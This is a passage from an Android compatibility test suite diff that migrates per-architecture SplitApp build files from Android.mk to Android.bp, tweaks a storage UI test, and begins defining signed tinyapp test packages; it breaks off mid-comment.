+    name: "CtsSplitApp_revision12_arm64-v8a",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    java_resource_dirs: ["raw_revision"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--replace-version",
+        "--revision-code 12",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
deleted file mode 100644
index 16f44d7..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Automatically generated file from build_libs.sh.
-# DO NOT MODIFY THIS FILE.
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_arm64-v8a
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_DIRS := raw
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_arm64-v8a
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_DIRS := raw_revision
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.bp
new file mode 100644
index 0000000..4f25179
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.bp
@@ -0,0 +1,57 @@
+//
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Automatically generated file from build_libs.sh.
+// DO NOT MODIFY THIS FILE.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_armeabi-v7a",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    java_resource_dirs: ["raw"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--replace-version",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_revision12_armeabi-v7a",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    java_resource_dirs: ["raw_revision"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--replace-version",
+        "--revision-code 12",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
deleted file mode 100644
index e850b02..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Automatically generated file from build_libs.sh.
-# DO NOT MODIFY THIS FILE.
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_armeabi-v7a
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_DIRS := raw
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_armeabi-v7a
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_DIRS := raw_revision
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.bp
new file mode 100644
index 0000000..cad88dba
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.bp
@@ -0,0 +1,57 @@
+//
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Automatically generated file from build_libs.sh.
+// DO NOT MODIFY THIS FILE.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_armeabi",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    java_resource_dirs: ["raw"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--replace-version",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_revision12_armeabi",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    java_resource_dirs: ["raw_revision"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--replace-version",
+        "--revision-code 12",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
deleted file mode 100644
index dc92b94..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Automatically generated file from build_libs.sh.
-# DO NOT MODIFY THIS FILE.
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_armeabi
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_DIRS := raw
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_armeabi
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_DIRS := raw_revision
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.bp
new file mode 100644
index 0000000..09d946b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.bp
@@ -0,0 +1,57 @@
+//
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Automatically generated file from build_libs.sh.
+// DO NOT MODIFY THIS FILE.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_mips",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    java_resource_dirs: ["raw"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--replace-version",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_revision12_mips",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    java_resource_dirs: ["raw_revision"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--replace-version",
+        "--revision-code 12",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
deleted file mode 100644
index 7c1a900..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Automatically generated file from build_libs.sh.
-# DO NOT MODIFY THIS FILE.
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_mips
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_DIRS := raw
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_mips
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_DIRS := raw_revision
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.bp
new file mode 100644
index 0000000..17e323e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.bp
@@ -0,0 +1,57 @@
+//
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Automatically generated file from build_libs.sh.
+// DO NOT MODIFY THIS FILE.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_mips64",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    java_resource_dirs: ["raw"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--replace-version",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_revision12_mips64",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    java_resource_dirs: ["raw_revision"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--replace-version",
+        "--revision-code 12",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
deleted file mode 100644
index 46f5179..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Automatically generated file from build_libs.sh.
-# DO NOT MODIFY THIS FILE.
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_mips64
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_DIRS := raw
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_mips64
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_DIRS := raw_revision
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.bp
new file mode 100644
index 0000000..10462a4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.bp
@@ -0,0 +1,57 @@
+//
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Automatically generated file from build_libs.sh.
+// DO NOT MODIFY THIS FILE.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_x86",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    java_resource_dirs: ["raw"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--replace-version",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_revision12_x86",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    java_resource_dirs: ["raw_revision"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--replace-version",
+        "--revision-code 12",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
deleted file mode 100644
index 4eb9157..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Automatically generated file from build_libs.sh.
-# DO NOT MODIFY THIS FILE.
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_x86
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_DIRS := raw
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_x86
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_DIRS := raw_revision
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.bp
new file mode 100644
index 0000000..3492aca
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.bp
@@ -0,0 +1,57 @@
+//
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Automatically generated file from build_libs.sh.
+// DO NOT MODIFY THIS FILE.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_x86_64",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    java_resource_dirs: ["raw"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--replace-version",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_revision12_x86_64",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    java_resource_dirs: ["raw_revision"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--replace-version",
+        "--revision-code 12",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
deleted file mode 100644
index ff3c996..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Automatically generated file from build_libs.sh.
-# DO NOT MODIFY THIS FILE.
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_x86_64
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_DIRS := raw
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_x86_64
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_DIRS := raw_revision
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 9b2532d..0e8186d 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -134,7 +134,7 @@
         device.findObject(new UiSelector().textContains("Clear")).click();
         device.waitForIdle();
 
-        device.findObject(new UiSelector().text("OK")).click();
+        device.findObject(new UiSelector().text("DELETE")).click();
     }
 
     private void clearSpaceWatch(UiDevice device) throws UiObjectNotFoundException {
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/Android.bp b/hostsidetests/appsecurity/test-apps/tinyapp/Android.bp
new file mode 100644
index 0000000..1b7cc0e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/Android.bp
@@ -0,0 +1,474 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+// This is the default test package signed with the default key.
+android_test_helper_app {
+    name: "CtsPkgInstallTinyApp",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is the test package v2 signed with the default key.
+android_test_helper_app {
+    name: "CtsPkgInstallTinyAppV2",
+    manifest: "AndroidManifest-v2.xml",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is the test package signed using the V1/V2 signature schemes with
+// two signers targeting SDK version 30 with sandbox version 1. From this
+// package the v1-ec-p256-two-signers-targetSdk-30.apk is created with the
+// following command:
+// apksigner sign --in v1v2-ec-p256-two-signers-targetSdk-30.apk --out
+// v1-ec-p256-two-signers-targetSdk-30.apk --cert ec-p256.x509.pem --key
+// ec-p256.pk8 --next-signer --cert ec-p256_2.x509.pem --key ec-p256_2.pk8
+// --v2-signing-enabled false --v3-signing-enabled false --v4-signing-enabled false
+android_test_helper_app {
+    name: "v1v2-ec-p256-two-signers-targetSdk-30",
+    manifest: "AndroidManifest-sandbox-v1.xml",
+    certificate: ":ec-p256",
+    additional_certificates: [":ec-p256_2"],
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "30",
+}
+
+// This is the test package signed using the V3 signature scheme
+// with the previous key in the lineage and part of a sharedUid.
+android_test_helper_app {
+    name: "v3-ec-p256-1-sharedUid",
+    manifest: "AndroidManifest-shareduid.xml",
+    certificate: ":ec-p256",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is the test package signed using the V3 signature scheme with
